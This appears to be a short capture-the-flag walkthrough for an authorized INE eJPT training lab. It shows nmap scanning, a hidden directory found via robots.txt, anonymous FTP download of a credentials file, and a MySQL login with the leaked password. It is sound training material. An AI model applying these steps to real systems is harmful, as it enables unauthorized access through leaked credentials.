Perform reconnaissance on target.ine.local and capture four flags.
GUI access to a Kali machine is provided. The target is at http://target.ine.local. Capture the hidden flags.
FLAG1_MD5Hash — submit only the hash (no underscore).All work is performed against an authorized INE training lab for eJPT exam preparation.
An aggressive scan surfaces the server's self-announced identity (banner):
nmap -sV -A -Pn -p- target.ine.local
The scan reveals robots.txt, which points to a hidden directory:
http://target.ine.local/secret-info/
curl http://target.ine.local/secret-info/flag.txt
Nmap shows FTP allows anonymous login. Connect and download the files:
ftp target.ine.local
# username: anonymous
# password: anonymous
ftp> get creds.txt
ftp> get flag.txt
ftp> bye
cat creds.txt # db_admin:password@123
cat flag.txt
The FTP creds.txt gives valid DB credentials, and Nmap shows MySQL on port 3306. Connect and list databases:
mysql -u db_admin -p -h target.ine.local
# password: password@123
show databases;
| Flag | Technique |
|---|---|
| 1 | Banner grabbing (Nmap / response headers) |
| 2 | robots.txt → hidden directory |
| 3 | Anonymous FTP file download |
| 4 | MySQL login with leaked FTP credentials |
robots.txt leak more than most admins realize.